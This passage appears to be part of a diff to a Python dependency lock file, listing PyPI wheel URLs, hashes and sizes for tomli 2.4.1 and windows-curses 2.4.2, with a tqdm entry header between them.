{ url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5", size = 251674, upload-time = "2026-03-25T20:21:38.298Z" },
{ url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size = 97976, upload-time = "2026-03-25T20:21:39.316Z" },
{ url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", size = 108755, upload-time = "2026-03-25T20:21:40.248Z" },
{ url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", size = 95265, upload-time = "2026-03-25T20:21:41.219Z" },
{ url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf", size = 155726, upload-time = "2026-03-25T20:21:42.23Z" },
{ url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac", size = 149859, upload-time = "2026-03-25T20:21:43.386Z" },
{ url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662", size = 244713, upload-time = "2026-03-25T20:21:44.474Z" },
{ url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853", size = 252084, upload-time = "2026-03-25T20:21:45.62Z" },
{ url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15", size = 247973, upload-time = "2026-03-25T20:21:46.937Z" },
{ url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba", size = 256223, upload-time = "2026-03-25T20:21:48.467Z" },
{ url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size = 98973, upload-time = "2026-03-25T20:21:49.526Z" },
{ url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", size = 109082, upload-time = "2026-03-25T20:21:50.506Z" },
{ url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", size = 96490, upload-time = "2026-03-25T20:21:51.474Z" },
{ url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4", size = 164263, upload-time = "2026-03-25T20:21:52.543Z" },
{ url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c", size = 160736, upload-time = "2026-03-25T20:21:53.674Z" },
{ url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d", size = 270717, upload-time = "2026-03-25T20:21:55.129Z" },
{ url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41", size = 278461, upload-time = "2026-03-25T20:21:56.228Z" },
{ url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c", size = 274855, upload-time = "2026-03-25T20:21:57.653Z" },
{ url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f", size = 283144, upload-time = "2026-03-25T20:21:59.089Z" },
{ url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size = 108683, upload-time = "2026-03-25T20:22:00.214Z" },
{ url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", size = 121196, upload-time = "2026-03-25T20:22:01.169Z" },
{ url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", size = 100393, upload-time = "2026-03-25T20:22:02.137Z" },
{ url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" },
]
[[package]]
name = "tqdm"
version = "4.70.0"
@@ -2392,8 +2210,6 @@ name = "windows-curses"
version = "2.4.2"
source = { registry = "https://pypi.org/simple" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/d1/6c/21393045010dd74887c71f1738f2bb1e60758c04d74cc97cefc03731a6d6/windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe", size = 71143, upload-time = "2026-03-31T12:44:33.2Z" },
{ url = "https://files.pythonhosted.org/packages/1c/aa/4a67a104ab4d6ac4d5d5f8f80363feec688d7846180c5ca69327f602196a/windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996", size = 81848, upload-time = "2026-03-31T12:44:34.869Z" },
{ url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" },
{ url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" },
{ url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" },